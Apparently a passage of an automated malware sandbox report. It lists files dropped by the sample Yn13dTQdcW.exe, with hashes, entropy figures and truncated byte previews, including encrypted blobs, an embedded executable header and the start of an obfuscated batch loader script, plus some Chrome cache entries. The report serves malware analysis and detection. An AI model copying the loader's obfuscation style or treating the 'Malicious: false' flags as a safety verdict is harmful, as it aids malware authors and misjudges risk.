Preview:	........~...B.+.t.3.......M..............N...B.+.t.3........E......3........f.F.f;B........E....F.;B.........B...~.+.t.3.......M........`.....~...B.+.t.3.......M........>.....~...B.+.t.3.......M..............N...B.+.t.3........E......3.........F.;B............B.+.t.3.......M..............~...B.+.t.3.......M..............~...B.+.t.3.......M..............N...B.+.t.3........E......3...._....F.;B............B.+.t.3.......M........2.....~...B.+.t.3.......M..............~...B.+.t.3.......M..............N...B.+.t.3........E......3.........F.;B............B.+.t.3.......M..............~...B.+.t.3.......M........y.....~...B.+.t.3.......M........W.....N...B.+.t.3........E......3....1....F.;B.........B...~.+.t.3.......M..............~...B.+.t.3.......M..............~...B.+.t.3.......M..............N...B.+.t.3........E......3.........F.;B............B.+.t.3.......M........l.....~...B.+.t.3.......M........J.....~...B.+.t.3.......M........(.....N...B.+.t.3........E......3...

C:\Users\user\AppData\Local\Temp\Expensive

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.997873521157365
Encrypted:	true
SSDEEP:	1536:VKwjK9R/kCBilQDry+xT9RE7UoYEN/cTdKtRZ+fAEo6US5aGjN0mm2:VD8/bMQD+eT9CZtbtufAEoDGm2
MD5:	EBA28E23F6CBD669BF0E7D62D9B9C903
SHA1:	59950597B147AF6FCAC8D036899D091158E59600
SHA-256:	0D3788811DB485ECD0CC3F26B6E308A21446431F6E6D5920625430AAF7427AE3
SHA-512:	788B3CD12AB44B4BE4ED368486BC454F6DEA618BFCC4E0FF331796837A473448F1C0E5FCBC1CDF2F6795741AE2AC2BAC4FC9E6B124DB625151757609DD6A001B
Malicious:	false
Preview:	`..>{..G..(4%.T.N.p.N.KD..mYm...B...n@...=.M~;.3........f<n...T....}LYe+....($.;..B.k....;.v.DB...]....pN..HQx..._.....<...ru..N......xU.iC.P\b....3...@%9.....6.s..J...t.~2;#.BZ.lY..4..$_..c......N.hB......c.....-_..\|.N&.M.I_[4[...s....^...O......Pe...V......s<U..X=..L.k....."6.[w.D\|,.h....0G..n3s.1.......J.=.d=d.....d.V..iB.........,.......O...q..bH.s.k.0..Q.hs.....P......@....H..o...@..M..MD}}.$\|6.:o...<.X...Uc5..Y....j......W.I. .....z.11....vSCb}u.U. .....5.o...m..&.MsWT.8w..?L...m.T...I..V}...5....V..B.........m.X0.8..79..E...Q\.......p.x...r.~Y.T(J..t..w?.;...0GQ...D.!...\|..,.s......_.....!+n.....9....K.b..<.....Hr....p...w.....OE.i.....~Y.0...@.._..Dx.5.U..],w........im.iP.v.%..K...#fT.....i..p....'3..4.H.....A(B......zs^..D.l...O.....X.8q.....tl9...3./..D\L3....'...$....g.sG..C.P. U...5..#..../.;..#....h..y...:..w..43..2.X...*0{...E..b..DEZ...].Z..M.Mr........-..80......M.J.F.2.........G[...:8h.d$...>T@.) 9.@...i.@U#l...M

C:\Users\user\AppData\Local\Temp\Fly

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.997635178608515
Encrypted:	true
SSDEEP:	1536:vs6hjoFQjkV6buFbfL/HmLbEwMAHDsiAIJm/EETuTadlGcz0KvaAb:vs6BoFik8SHmMMZAIJm/7ld4KvaAb
MD5:	9CC714BA14F56E61A3ED55FAE950FACB
SHA1:	0991BA7ADA9E3216E802DA8F0A714EF31B88962B
SHA-256:	D9536B4F9AD456DDDFEE74C64F8D76E870ECEC113BD93442CA9B96F79D1E7C85
SHA-512:	41B8BB7D5A0217BA7D921C7A20FE8BAC719CD3EC327D776C4FDB699C11DAE7207F53E701E7A001A0E036F018776E84A59A66E63397C88A03D83C2A9365781549
Malicious:	false
Preview:	.6...a...B}.K.Z...C.).D;<.n..x.h.T.S..0...l.jI..J.${=6.t.>.j..q.....Q'..U..u.....sE...P....Ca.V.H=.....A...... 9.k...Du.M..NL..j.(R....a)...Y..,.iRZ.1AO..L.E.Pm1.l..Y....n...7.x~.dE.<C.9B.^e....\|O.....O....[..:.....M.r....x..:.)\|.O.Tb.~...vV!.........F.e.....Np...F.eWeU1v.[..=.......Q..:.y..[.....Pc_...Z.....`...o..[..4.D..4.._i..2.xr.].F....i..9a.O..bW.;.y......`........W....`[S[-u)....JR.,..E.4../..U..H..7#r._.....~..D6.......v...$./..H ..2.?HCO..!.4n.s...z..)9Nu..x....lJ..-."...j..%9?.o....1..\|.."X.g...o.iv.....bi....c..m.E)%...o......G..F.F.'..5`p<}.D.9.;..D.z=K.to.).........a.w...K.._...Q_/HI..-.8.7'..L.[.\|P.....v....\...........M.}...4.k.....h.(S`...;s3{.,k..Y.....1..2w.(#.t.W6...P.}e>...JsE..E.h.o.....cYc.Y..."K.bB.......<...{o...'..{..m......7./..a.1eC..m@.......)......E..$....c.N..r.Z'..#ze..40UE.#..'..j.y.:.4@%.{e..G..-.P%....Y...S[_'gb.T$.r.o...........,...B7,.P..r..2t%....A..$.&.W.....R...B_v j.<FU..c.B%\|...\|.>U..z...]1.1

C:\Users\user\AppData\Local\Temp\Hypothetical

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	7.998067564776392
Encrypted:	true
SSDEEP:	1536:xeseacdqcRGx6QwMr9IZG6WJfl6aVX6/FRlb9wIOz3MWzNZdfCZ7Z8MFwVf8yc4:phcRGdr9IZ7WVdX6DbQz3MWLQtBUi4
MD5:	428CEB3846FCFC54773992CA87BE9D58
SHA1:	5874EF76A8B4CABF84B0B92FAB6B3572161303B3
SHA-256:	263586AA621C153159638CC0ABDE16EA69B54177D49DCD2181CE801ABDA8F47F
SHA-512:	83E5D5BCB7BD5CCFE5E0DB83C2C582DE32D0584190C5BE2FC28B7CB3768203349197B6B725A6945EDCDB4C7098D105F24498083451C478B1124F3A626A96E96C
Malicious:	false
Preview:	r..4\|.\..?>.qx.}..G...'g.Vp..7..U...m......r~......r..2D..eL.3_P.[?.r0/.. 5.dC.....!'....l..M.Ph5..........?.+..!Bz......H\|fJtI7.L.I..}._.w.<B...7...Lg.J......_.?...T........eC!PRJ...7..>....]gR.~[9.f#........0Y...a...e./{-...)F* ..$...\h.(4:.D..1....Pw .O..Y.6.O......7..t..k.#.:p...Nl.@O.ja;.8....L..c....%.@}.M....0.M...`....S.y ./...tdC....5...7Wul.... ......U......L..dD.....:s.iqb4Y.r..ei{..xA".^.....`g.$.WC:..a.z..}.umJ6.W.I6........5...._.[G.gQ...2. .9.....]..."BMU.n...=FVQKn.n&...I.........K.<Em......Dy..L.....%>SCZ()...!-J..+.de...."....Z..e..PW...!.....5.!d..1.JL...L'.z;2tk.!..06...Z.[.fl.z.&.-J..*h...-L.4a&?m...z..Z.a..k..(...$p}"<7.a.s}..... ..c...4R&F..f"....g..3D]ay\|.....-...\7H...?hN6.<..dHu..4!...Jd...$6o?....."....}iR3$.~P]......e..7..Y{T.....R....uL.O.2....8..I.Z.......l......d.P$.v.`...s..[.{.o.[B."...}.......J..N.....O.{[...l.}.....G.(..;9=...?....Y.[:........j.NT.....\..J B\|.c....z~.?h..Xc...Dua=7.e.U...\|..v).Sq<..

C:\Users\user\AppData\Local\Temp\Led

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	6.6226492244612505
Encrypted:	false
SSDEEP:	1536:Up5q/qw0j8sgyZpQ4VMEPmfP/b/psgrO4aK9iwcznrQfy0c4cDTOelOFCOBSljv5:UXqGjLPQ6ClAMfA4lelIJBSLL
MD5:	8F88D37B6B4AC31A10E4E94D47DCC3AD
SHA1:	289079EA4B7D0B21B10773F42362B184BB226A62
SHA-256:	391400F89794853BB56EA9CEAFA66E0A429C887200372E0B727693137DA2E00C
SHA-512:	5F4C0AF12A74F41A6A86D962DF45ADA9E8CBB1BD55774DDC43E4DBEF41E5CEEB126723A0DD559182E2F1701F845AAF4298DEECA3C41476813009629D41DB0565
Malicious:	false
Preview:	D..P.D$(......\|$ ........E.j).@..@...D$..W.....t..L$(.'......L$..(....L$..A...f...L$$f...>....D.D..D$$.0.`....\|$ ..."....E.j).@..@...D$........t..L$(......D$0...L$.......L$..A..0.L$(.........L$..D$.P.T$......D$.YH..D...HtoH../....M.............E.3.A.H..09L$ .......E.j).H..I..g.....t..L$(.7......t$....t$.V....HY...............I....M..5.xL......E.3.A.H..09L$ ..&....E.j).@..p................j).........t..L$(......L$....L$.3.f...xL......xL.......xL....xL....t.@...xL...xL....t.......xL...xL....t.......xL...xL................xL...xL..w...3...8..rL.....D$......D$.3.A...N.9L$ ..K....E.j).H..I..$.....t..L$(......D$....D$...xL...u...........j.........D.D.M..D$..0.P....E.3.A.H..09L$ .......E.j).H..I.......t..L$(.......D$..L$........m........rt...v..........D.D.M..D$..0......E..T$..L$..@......0.D$.P.f....D$..D$(Y.L$..T$.P.O....\|$$.Y..C....E.j).H..I........u*.L$.;L$.\|.;L$$...T$......L$(.............L$(......T$......D.D.M..D$..0.<....E..T$..L$..@......0.D$.P.....\|$$.Y.......E.

C:\Users\user\AppData\Local\Temp\Nasty

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	data
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	7.996518605218866
Encrypted:	true
SSDEEP:	1536:1pf+3BbLP4Qf9jvvXgRT+w32ozCLhnAEA26bgfAYH:GBJrvXc++2MCLhAkfAYH
MD5:	05FDCA98CA0BD244FC684ECC696900DD
SHA1:	00BEFE192DBE09FA9EB7F8D471446B87A2FA513A
SHA-256:	35921BE7FEB68D8C38092EB5FD5E46E84E2A94EBA996B40B78BDFCED7156CF12
SHA-512:	2601BB5F763B65E13A14802D9B04B3C85EF6C0733CA919AB026C34F570FE83D1FE714CD28160905F16B462CCDADF87E411CB1D21B40AB8D3BAF8CF2B7177ADA8
Malicious:	false
Preview:	...x..W.."..m......0#?X.o..p..J...............n[\|...t..7aM.;.x...r.-..M.7.Y.......>..@.XA..y.Qa....J+...U...Z=.XG...0."o..O.UzT....OG..7;C..Jb.z..9.}..dh.L.@..[.<....+.1..!@.e..R....>....O{...c......<Ly'.-I(f..%l.......EgI.aLIJfI.D2.\.l0h.1....u..0"...y.. ...2/)O.(....v+Yga..r^dm.}..Q.. .A+og.-c..J...._.G..'B.+&....(.1\..H..q.`~..WA........l...}%..;.C!..8.h[..e.\;.L......B...I..UR..^8..Q.qa`Am0..p&.....G.j...I..=..M\....67.pt.j...[.1.].7.Wq>..T...>..+CrX....c...Bc.{.W.j3.g...gPt..R......g.p..\|....[.M...K...[!.m...&-[.9#.+?.....K..f.....9'.%...g..kc..b..r.m.C.Z.qS.j.......Y.e,,..W./.....d..xp..[..j..?.D..N..HFC.c....~5>G..&...:.g..CaFM..M.}3mlEe...8.og..s..._....c.....<0.)^..8....^.y../....xx...."Z.x......M.;.$.T.X...1G.>.p..:.....?k.....@.#.:..O..M.^^faH3....`...%1....{...-....`$....U'.. ..p1<m...`y5g.+.K"8..RE........f.y.......b.....$...z-...m}h.q..m...1;.W.J...B.-.........<..i.z.9.)O......p.....L.G.:9t.....$P.*.......(`..P..kx.1.y......8.B.....

C:\Users\user\AppData\Local\Temp\Paxil

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	6.549036400348385
Encrypted:	false
SSDEEP:	1536:Y5oQyyk4qt1FqnLUshVkf88nfNk4qqdGYynTDYL7Q+mr9R23:Y5ouYNqnLzAfaBaGdDqeb23
MD5:	AC185420E7B84BA40C727CD04F909A4C
SHA1:	C8CEBB2F7C4F9FF516AC6E7585181D2795DE2D01
SHA-256:	A2FADA2D4AC76FF4EE5A4E7629640F4938C417F5FEEEC32F3928E6464D38E897
SHA-512:	8583C5C6EF956C8BB78ECDFCC2DA011408D754D7C27410BB801BAAC98AF3B45439676DD456553C7B27A2998CE75111F0CBC429B340DB038360C600BAC4EF6C2F
Malicious:	false
Preview:	i....T$..L$8.....L$8........L$........tSj...$\.....$\....]...Y..........$X...P.L$.........L$.......L$......{..............$X...P..$\...P."...YY....d.....$X...P....Y3.f..DZ.....$X...P....Y3.t$..t$2f..DZ.....$X....D$ ..$X....D$$.....f.D$(.D$.P.t$..t$..D$ ........I.......^[..].U.............VW.}.3.h....PWF..H.I.......h..K.P.d...YY..u..=..L.3._..^..]...U..SW....I..=.rL...........}............\|.;G.s.j...\|.I..=.rL..u.....3.Sh.TF..7....L.....I....L.........Sh..K.SP...rL......I.....t6....L....t....5..L.....I.SSh....W....I.....L.2..M....8SSj..5..L.....I.h......\|.I..5..L...H.I...t.S.5..L.....I._3.[]...U..VW.}...?;.u..E.90u.2.....S.].;.} ..+..}...t.;.}......E.;..!...#~!..+...}...t.;.}...+..E.;.}......8.}...;.}...+...}...t.;.}.....;...... ~...+..}...t.;.}...+.;.}..7......[_^].U.. ...............S......P.....Y.............tb......P..u...$.I.......J.....Y3..E.....f..E...........E.3..E.E..E..E.E.....f.E..E.P....I.......[..].U....SV...h.K..M......Q.M...;....u.3..M.. t:..@t1...u.

C:\Users\user\AppData\Local\Temp\Premium

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	ASCII text, with very long lines (1106), with CRLF line terminators
Category:	dropped
Size (bytes):	29001
Entropy (8bit):	5.079408383028201
Encrypted:	false
SSDEEP:	768:FHZ2csXvUgG/aF5ZrhgS7m8PDNnAfdr5sxFHHtQhjcBkwBolAAI7:FHY7XJ8aFnlgIpPFA1r5sxBN24toa7
MD5:	7AC4BC841FD3E8988A581BB6C79322DC
SHA1:	278D4B086A20A240CE8EDF3B00F11DE294660E1E
SHA-256:	CD10921F28566F55002A014469BE61DDEDF1BD4F2160096F6161CE13D2ED2FDB
SHA-512:	7D41526753EBEB2964619C93AF984B1D3A0F926514C185C2D592A0EBFE8E42BA038A9B0A9F7A886DD0561B31292B23992F37021F398470A86F4E425F3A5B0F2A
Malicious:	false
Preview:	Set Lodging=H..fAK-Salad-Forever-Container-Anaheim-Airlines-Attention-..QPSqHimself-Prospect-Configured-Regarded-Requested-Warranty-W-..ewdCeltic-Title-Picked-Ali-Los-Running-Antique-Editor-..JpLimited-Briefing-Covered-Recall-Twenty-Dentists-Hazards-..WtLadder-Eos-Mechanics-Laundry-Fantasy-..svMFar-..Set Florists=i..XBZPetroleum-Respectively-Warming-Increased-Pike-Lite-Little-Pastor-Episode-..dEApr-Easter-Temporary-Lawn-Consists-Bear-Considering-..hpDecrease-Bangkok-Recruitment-Mario-..fTFeeding-Flyer-Leads-Formed-Beautiful-..fPjsRemoving-Burlington-Photograph-Ln-Starting-Hz-Pasta-Transparent-..bPIxOptional-Corner-Mysql-Sciences-Wheels-Nicaragua-..pSHearings-Marco-Troubleshooting-..OUfXGuide-Household-Crimes-Mom-Medicaid-Temporal-Boxed-Gui-Glossary-..Set Pos=Y..SYFaster-Immigrants-Organic-Overseas-Princess-Folks-Scientist-..VaFShows-Hazard-Arc-Surrey-Pursue-Perform-Coat-..IEnLesser-Senegal-Digit-Cleaning-..xnZBRelated-Smoking-Clinical-Nervous-..uuRely-Colleges-Vital-Owner-Elect-Unfortu

C:\Users\user\AppData\Local\Temp\Premium.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1106), with CRLF line terminators
Category:	dropped
Size (bytes):	29001
Entropy (8bit):	5.079408383028201
Encrypted:	false
SSDEEP:	768:FHZ2csXvUgG/aF5ZrhgS7m8PDNnAfdr5sxFHHtQhjcBkwBolAAI7:FHY7XJ8aFnlgIpPFA1r5sxBN24toa7
MD5:	7AC4BC841FD3E8988A581BB6C79322DC
SHA1:	278D4B086A20A240CE8EDF3B00F11DE294660E1E
SHA-256:	CD10921F28566F55002A014469BE61DDEDF1BD4F2160096F6161CE13D2ED2FDB
SHA-512:	7D41526753EBEB2964619C93AF984B1D3A0F926514C185C2D592A0EBFE8E42BA038A9B0A9F7A886DD0561B31292B23992F37021F398470A86F4E425F3A5B0F2A
Malicious:	false
Preview:	Set Lodging=H..fAK-Salad-Forever-Container-Anaheim-Airlines-Attention-..QPSqHimself-Prospect-Configured-Regarded-Requested-Warranty-W-..ewdCeltic-Title-Picked-Ali-Los-Running-Antique-Editor-..JpLimited-Briefing-Covered-Recall-Twenty-Dentists-Hazards-..WtLadder-Eos-Mechanics-Laundry-Fantasy-..svMFar-..Set Florists=i..XBZPetroleum-Respectively-Warming-Increased-Pike-Lite-Little-Pastor-Episode-..dEApr-Easter-Temporary-Lawn-Consists-Bear-Considering-..hpDecrease-Bangkok-Recruitment-Mario-..fTFeeding-Flyer-Leads-Formed-Beautiful-..fPjsRemoving-Burlington-Photograph-Ln-Starting-Hz-Pasta-Transparent-..bPIxOptional-Corner-Mysql-Sciences-Wheels-Nicaragua-..pSHearings-Marco-Troubleshooting-..OUfXGuide-Household-Crimes-Mom-Medicaid-Temporal-Boxed-Gui-Glossary-..Set Pos=Y..SYFaster-Immigrants-Organic-Overseas-Princess-Folks-Scientist-..VaFShows-Hazard-Arc-Surrey-Pursue-Perform-Coat-..IEnLesser-Senegal-Digit-Cleaning-..xnZBRelated-Smoking-Clinical-Nervous-..uuRely-Colleges-Vital-Owner-Elect-Unfortu

C:\Users\user\AppData\Local\Temp\Recording

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	data
Category:	dropped
Size (bytes):	138240
Entropy (8bit):	6.40294617546759
Encrypted:	false
SSDEEP:	1536:Y6CV21YEsmnq7Cv/+/Coc5m+4Xf8O46895LmNpRGDox2S3hPt8gNpkU5uG3xYwBA:JCV26MqgQTc5F446iYNpK5SB7BJBzLA
MD5:	E03C30773214DB59BDFBB950F16E76FC
SHA1:	910E267F1191D0E9D2B452E17FDD1B440C837198
SHA-256:	BC73025EDCB800214EA4F3B1A441375E25CFD8974F9D33094D43D7CE680C0736
SHA-512:	501C8113396D29409AB48EBB6AB68E5D58C26896224F4C07ECB84DE01A64503E045F8676089172615B5B55CB6C1FBA32C4CA4B60F998E200C37B69D6224BBA14
Malicious:	false
Preview:	integratedintlhandlingwaterproofcbperformtreasurertim..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B.........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Speak

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	data
Category:	dropped
Size (bytes):	64223
Entropy (8bit):	6.965090652910025
Encrypted:	false
SSDEEP:	768:1d0bHazf0Tye4Ur2+9BSCVoyO15DuOKHnrxbxZiUCu2iPaLTQ7Q1tCwqVLwQVn8o:P0uZo2+9BBVgCOa1ZBPaPQaEwo0yv
MD5:	A98E36DA94FEE7235BA0E64150C7FF48
SHA1:	F9DDBC3EA30D065A3E8C4A293D1490B1833FC928
SHA-256:	37D7D818F19DD754B66BF5C6E9AEDE3D05303925DE38F829591A02CF97E6D20D
SHA-512:	BBFAAE8200F2E40D0235711CA3D879C60A3495DA831AE00AD838B08FB27A40DC2A6C4ECCB69AD89F0C25774801166BABBEF812FA729A78B7E10AC24742EA763A
Malicious:	false
Preview:	.+.8uy..w.i...Gw6...P..e'..H.i.....8...].....V.....9.............\|..8.zc.kSY.=..T....'..l.qc:.\|..q.f.U..m;.t..[g...:.'"..Mrlw...~.....MR.X.,.q..,y.....7....Ns`g....(U.....<....P...=.8.[.....2.V.<.....:/..bb..z.+.....[.NT..... .vg.KG.]f.l..9..t....y1ZZZ\|"..{L.yPG..Z..m.r\|o7C.qW.cm..+.\.[..w.[....&.]=.....rlw..6;.T,...G..".....3T5 "}...T.Xl`Y./......OV][..`,[.9....FT.Vg3.vq....wD.orhg..C..:.l...........>U...e.T...V.......(Rm....sW.c1...N09....=.-...gx......IDZ........0..Z...q2U.,+`.....z.......H.Z...~.;.....^..oNpi\|.$\[\|..$7g./.......Z...p.lQXw..........y..\w-.w.M.....K...w.....g..\|...'..+......%X,[.:...... ..=.+.e.#.Nc.'.}...W...c......n..+.l....b...vw..;.t.Q..J.S.a.@.P.>......E........~:\nr..y..&..\|.X..Y...m.$Zyl_..h.Z/V.........."...@.........M..a..._.9{s.7o..sP.Veb~...N:&]}7/`.'.C#..C[;.`.Jn..z..b.""...u..F.....!.o...4...q...V..d....'.>................?Gwu2.......k..<.#..Q........vv.y.@/.V......./.9y....%N^.al..z..3...

C:\Users\user\AppData\Local\Temp\Third

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	6.592438940182233
Encrypted:	false
SSDEEP:	1536:DiuzNvt5DfExgYR5yiPl/UQ6JP04vDcmrIEVJRF:DNGR5yiPlcQ4NvoWV7F
MD5:	06C3480CDD090D43901BA203C5D70598
SHA1:	8498F092E0F8D676EC4533189BCA3BAD449BB92F
SHA-256:	4BC85D083FA1229EDDC8FE9823CBCF65CE03F192ABF00678B6BFC53688E1BDA2
SHA-512:	ECE2212698C1FB2E5DC11511558FDED1CE46076C7FFD8ECB856F617D5D5F3A68578D43A45E1EF05B3CCC9BF97D14A94C427D167B7D113B97F84C9B1E7EEE9D4E
Malicious:	false
Preview:	...t....t....u..Z....M......>...../.....^]...V...>.....u..~..t.3.^.3.@^.y..u....3..V...j...V.0...Y..^...V..W3.9~.v..F......t.Q......F..$..G;~.r.f.._^.U..V..W.F.9F.uN...j.X;.r...3.F.j.Z.........Q.R....~....Yt..F...t....P.v.W....v........~.j.. .....Y..t..u..g..........3..N..F..<..F._^]...V......I..4....v..U...Y^.y...A.t..@..V...6.....V.5...Y..^...U..E.;A(\|..M.j.j..<....-.U.R.Q P.q(.......M....Pj..u.......u....gJ.Y]...U........e..3.e..S.].V.u.W.C....E.......jN.U.Z.D..j...@..E..C.......f9P.Zuq.....S.Q......@..E..E.PVS..............M..7.....x]...C....f.x.Ou>.A..M........U..K.jN.......B...U....Yj.f9H.Yt..]....y..u......C..D....@.Pj{.F.u...3..3..........~..]............F;.\|.].j..u.Q...........u..u.jz....5.......3..M......_..^[..]...U......8.E.VW.}.3..@..D$ ..I..t$$...t$(.t$,.L$........@..D$..d.L..T$...u9....L$0h.-I..d.L..........L..0...R..L$0.h.L.......L$..T$.;.h.L.u..u.W.u...T..........p...R..D$.......L$..@ .D$..D$..t$.PW.u..D$0P.u..8....xa.t$..L$......L$.;H.\|1.t$..L

C:\Users\user\AppData\Local\Temp\Zum

Download File

Process:	C:\Users\user\Desktop\Yn13dTQdcW.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.99705892372434
Encrypted:	true
SSDEEP:	1536:2rCWwRqC5gyt+esfDp8iMAakK/DJIxK/XMehFLz:2uWwRXN0eC8pEK/D2xK//
MD5:	5F5127D492D9F1FF3F615D3AE6D06C70
SHA1:	871CE9468718E513073F4AE6885F61D63DD37B94
SHA-256:	8F144DD8BDED3E7B449D388A4C992148BF2FD278B7B56EF426C4A8B7D1624F32
SHA-512:	19A79CC744FFA94D7567FE22CA0426D92F961D7681E48EB31880FB1F6216782C3C0527108CF5985B2539096BD47DF98F2DC1552769F17A19686F9D7F4AC969E3
Malicious:	false
Preview:	.=q....S....?;.R....f..[.J..@.j.0j..!3I..p;.......x.=............h.4...\.J....z`O.Z.@..,.........p.,..2..#....<.v.....LI..0kay...TB.....i!.cK.....o...\|.[.9.M.,x.FO.....a.x..b...T.........H>`.`l.\|.L.'.4qU..$......0;..k..#...~.@...=.O.7]..,.....2)..6.E..[=ltLI......g..<.....g.m.1.u.DZ..k......!.4{.b5q:...\.._..KJ.BN....z.....T.k.i...-.H.o.".cN...;..r..V.1.....[.U!N.]..&R.O.#..7.a..(.R.b....+.D..6.Z.$..g..]..Lu.........n&.TiX..#/...p....c...TS.x.5Y..V.I..Qd8.A0...r..7.16YB..xm.F.r.i...q.D.}M_.>>.....+.F.......9.V{VZ..}...3j.(..S......T...8X2./..7zsT.rN...[..N.T........u..Q.8...d..F8.....M.ix.....a..0.J...^N..........y.......h.u=!.q.@Eg%...)m)..6...H4..]fmo.G....7\AT...%.u.U.....m.#hy_...r{.."...a...c.s....%....p0........!."m...r.l.)...1.....o.#._.-.&...W...i.{../.2.t......}...,;4....e.#.Lh.(6...H...h\|0.t..m......AB<...E.~B...\|%..gd...G....kEZ...../.... #..s..Q..P....!JU.......\|/V.&.....E..?..O#.....rx...(..<U...^G2.....k...m

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3359)
Category:	downloaded
Size (bytes):	3364
Entropy (8bit):	5.853334698404196
Encrypted:	false
SSDEEP:	96:09PliRFd66666rVMfMxp2fbqlH88c3fffffo:0PKFd66666rVGkEucA
MD5:	11ADCED266EAEB63E2C4AF81DDAB2067
SHA1:	347C3F5EB6464253B917B9C63DC717D92470A1DD
SHA-256:	AE6F91F017F1293B9E52F0ADA25612C5C7BC93F73AB1148256EE97CF5FD46E0E
SHA-512:	CA92CD620F79FDCF80CBD22C8EE7403B3187BF750DA17F0C8D6B28439F11A7E054B1B936FCBF48F3545AEB7E557E0F0B57B353E63F7CAE805BA4BC367C39A14C
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["gervonta davis","mocha mousse pantone color","christmas music christmas songs","snow storm weather forecast","microsoft windows 11","wrangler nfr 2024","panda express panda hoodie","harry potter severus snape actor"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"Cg0vZy8xMWJ6MHp2Nms4EhtBbWVyaWNhbiBwcm9mZXNzaW9uYWwgYm94ZXIy9w1kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBQ0FnTUJBQUFBQUFBQUFBQUFBQUFGQmdRSEFRSURBUC9FQURNUUFBSUJBd01CQmdRRUJ3RUFBQUFBQUFFQ0F3QUVFUVVTSVRFR0V5SkJVWEVIRklHaEl6SmhzVUpTWXBHaTBlRVYvOFFBR1FFQUFnTUJBQUFBQUFBQUFBQUFBQUFBQW

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134277
Entropy (8bit):	5.441928965390892
Encrypted:	false
SSDEEP:	3072:f0kX33ov7GsG688fJbk/5xnsOLWjwR2i6o:fv3lr6t2/5xnsOawR8o
MD5:	02D0A0BB8834D083B0E467FECAA86F30
SHA1:	E78CF643403A0FC962B2D77CE98C5C1F62C41A54
SHA-256:	49B631B601C921B44BED84B5642DE2F2A131B7A83464B26350AEE4EF9F0C294C
SHA-512:	0EA967AB60DEC898A15C845E7E50E6C273BF0A144054352FED20D0D934B1742B38F4F986F8C1BF89E2E02BCCBEEA08118B00F8968F9A247BADC8907D17892D64
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
